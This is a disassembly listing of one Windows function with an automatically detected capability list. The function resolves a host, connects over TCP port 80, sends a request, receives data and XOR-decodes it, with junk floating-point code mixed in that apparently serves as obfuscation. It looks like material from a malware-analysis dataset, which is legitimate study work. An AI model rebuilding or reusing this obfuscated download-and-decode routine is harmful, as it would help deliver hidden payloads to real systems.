Function at 0x408740
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c760
push 0xffffffffffffffff
push 0x41e68b
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x425fa0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x1450]
mov ebx, dword [ebp + 0x144c]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], eax
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], eax
mov byte [ebp + 0x1a4], al
fldz
mov esi, dword [ebp + 0x1448]
fst qword [ebp - 0x48]
fldz
mov dword [ebp - 0x20], eax
fst dword [ebp - 0x2c]
xor ecx, ecx
fxch st(1)
mov eax, esi
fst qword [ebp - 0x40]
mov byte [ebp - 4], 1
fst qword [ebp - 0x40]
mov byte [ebp + 0x11bc], cl
fxch st(1)
lea edx, [eax + 1]
mov word [ebp - 0x14], cx
fst dword [ebp - 0x28]
fxch st(1)
fstp qword [ebp - 0x34]
fst dword [ebp - 0x24]
fstp dword [ebp - 0x38]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087f0
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x408b38
xor eax, eax
cmp eax, edi
jg 0x40883e
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408838
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
cmp ecx, edi
jg 0x40883b
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
jmp 0x408823
inc eax
jmp 0x408806
mov ebx, dword [ebp - 0x1c]
mov ax, word [0x4237b8]
mov word [0x423a90], ax
dec word [0x4237b8]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408860
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408870
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408b20
mov eax, ebx
mov edx, ebx
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408890
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4088a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425208
rep movsb byte es:[edi], byte [esi]
call fcn.00401b50
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088d0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407c80
xor eax, eax
xor edx, edx
mov word [ebp - 0x14], dx
mov dword [esi], eax
mov word [ebp - 0x14], ax
mov byte [esi + 4], al
fld qword [0x425198]
fmul qword [0x41f470]
push esi
fstp qword [0x425198]
call fcn.0040b394
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
jmp 0x408920
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408920
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408400
fld qword [0x423030]
fld dword [0x423550]
push 0x32
fsubr qword [0x41f970]
push 0x423aec
fsubp st(1)
fstp qword [0x423030]
call fcn.00401b50
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408970
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408400
fld qword [0x423a18]
mov edx, dword [ebp - 0x20]
fsubr qword [0x41f968]
sub edx, 0x36afb3f1
mov dword [ebp - 0x1c], edx
fild dword [ebp - 0x1c]
fld dword [0x424060]
faddp st(2)
fucompp
fnstsw ax
test ah, 0x44
jp 0x4089e4
mov eax, 1
add word [0x4241b0], ax
add dword [ebp - 0x20], eax
mov ax, word [0x4241b0]
mov ecx, dword [ebp - 0x20]
cwde
sub eax, ecx
add eax, 0x6220f646
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
fmul dword [0x423ef0]
fstp dword [0x423ef0]
xor eax, eax
push 0x32
xor edx, edx
push eax
mov word [ebp - 0x14], dx
mov word [ebp - 0x14], ax
push esi
call fcn.0040b8c0
fld qword [0x425198]
fmul qword [0x41f470]
push esi
fstp qword [0x425198]
call fcn.0040b394
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a20
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408400
push 5
push 0x4251fc
call fcn.00401b50
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a50
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408400
fld qword [0x423b88]
fadd qword [0x41f960]
xor eax, eax
xor edx, edx
push esi
fadd dword [0x424014]
fstp dword [0x424014]
fld qword [0x423b88]
fadd qword [0x41f340]
fstp qword [0x423b88]
mov word [ebp - 0x14], dx
mov dword [esi], eax
mov word [ebp - 0x14], ax
mov byte [esi + 4], al
fld qword [0x425198]
fmul qword [0x41f470]
fstp qword [0x425198]
call fcn.0040b394
fld qword [ebp - 0x48]
add esp, 4
fsubr qword [0x41f958]
fcomp qword [0x41f950]
fnstsw ax
test ah, 0x44
jnp 0x408ae6
movzx ecx, word [0x423f58]
sub ecx, 0x6ec677df
mov word [0x423f58], cx
lea edx, [ebp]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x408ec5
push 6
push 1
push 2
call sub.WS2_32.dll_socket
add dword [0x423500], 0x145fab0c
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, 0xffffffff
jne 0x408b5d
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b38
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040ae44
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b53b
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x1458], 0
je 0x408b7f
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x408b20
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp + 0x194], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0xc27acc4d
jg 0x408bd3
fld dword [ebp - 0x2c]
fsub qword [0x41f948]
fadd dword [0x4241ac]
fstp dword [0x4241ac]
push 0x50
call sub.WS2_32.dll_htons
fld qword [ebp - 0x48]
fsubr qword [0x41f940]
mov word [ebp + 0x192], ax
fcomp qword [0x41f938]
fnstsw ax
test ah, 5
jp 0x408c0b
fld dword [0x423038]
fsub qword [0x41f930]
fstp dword [0x423038]
jmp 0x408c17
fld qword [0x41f928]
fstp qword [0x423aa8]
mov edi, 0x10
push edi
lea ecx, [ebp + 0x190]
push ecx
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408c7a
fld dword [0x423f48]
fsub qword [0x41f920]
fcomp qword [0x41f918]
fnstsw ax
fld dword [0x423f48]
fadd qword [0x41f340]
fstp dword [0x423f48]
test ah, 0x41
jne 0x408c6f
fld dword [ebp - 0x2c]
mov edx, dword [0x423a88]
mov dword [ebp - 0x28], edx
fisub dword [ebp - 0x28]
fmul qword [ebp - 0x34]
fstp qword [ebp - 0x34]
cmp dword [ebp + 0x1b8], edi
jmp 0x408ecc
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408c8e
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408cbe
cmp dword [ebp + 0x1b8], edi
jb 0x408b38
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408b30
fld dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
fsub qword [0x41f910]
push 0
push 0x41f908
fmul dword [ebp - 0x24]
fstp dword [ebp - 0x24]
call fcn.00407c80
or edi, 0xffffffff
or ebx, edi
mov ecx, dword [ebp - 0x1c]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408e23
mov ecx, dword [ebp - 0x18]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.00408400
mov dword [ebp - 0x20], 0x34b66a19
test edi, edi
jge 0x408df6
push 5
push 0x4251fc
call fcn.00401b50
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408d33
mov ecx, dword [ebp - 0x18]
sub eax, edx
push eax
push 0
push esi
call fcn.004041a0
mov edi, eax
xor eax, eax
mov word [ebp - 0x14], ax
mov dword [esi], eax
xor ecx, ecx
mov word [ebp - 0x14], cx
mov byte [esi + 4], al
fld qword [0x425198]
fmul qword [0x41f470]
push esi
fstp qword [0x425198]
call fcn.0040b394
add esp, 4
test edi, edi
jl 0x408df6
mov edx, dword [ebp - 0x18]
push edx
add edi, 4
call fcn.00405dd0
mov ebx, eax
add esp, 4
mov dword [ebp - 0x24], ebx
test ebx, ebx
jge 0x408dce
fld dword [ebp - 0x38]
push 0xb
fmul qword [0x41f900]
push 0x423a78
fstp dword [ebp - 0x38]
call fcn.00401b50
mov ecx, dword [ebp - 0x18]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00405b30
push esi
push 0xb
mov ebx, eax
call fcn.004026b0
add esp, 8
test ebx, ebx
jge 0x408e23
mov ebx, dword [ebp - 0x24]
fld qword [ebp - 0x34]
fsub qword [0x41f340]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fcomp qword [0x41f8f8]
fnstsw ax
test ah, 0x41
jp 0x408df6
fld dword [0x41f8f0]
fstp dword [0x423ae8]
test ebx, ebx
jl 0x408e06
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408e23
cmp dword [ebp + 0x1458], 0
je 0x408ede
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x14], 0x4000
jb 0x408ede
mov edx, dword [ebp - 0x1c]
push edx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x408e44
push edi
mov edi, dword [ebp - 0x18]
push 0
mov ecx, edi
call fcn.00405aa0
jmp 0x408e47
mov edi, dword [ebp - 0x18]
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408eb1
xor esi, esi
cmp esi, dword [edi + 0x14]
jae 0x408ea5
mov ax, word [0x4241b0]
dec word [0x4241b0]
movsx ecx, ax
sub ecx, 0xf8c3225
cmp ecx, 0x7b67a24f
jle 0x408e82
fld qword [ebp - 0x40]
fadd qword [0x41f8e8]
fstp qword [ebp - 0x40]
cmp esi, dword [edi + 0x14]
jbe 0x408e8c
call fcn.0040ba97
cmp dword [edi + 0x18], 0x10
jb 0x408e9b
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408e53
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408e53
fld dword [ebp - 0x28]
fsub qword [0x41f8e0]
fstp dword [ebp - 0x28]
movzx edx, word [0x42518c]
add edx, 0x268a96f3
mov word [0x42518c], dx
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b38
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x408b30
fld dword [0x41f8d8]
fstp dword [ebp - 0x24]
jmp 0x408ce1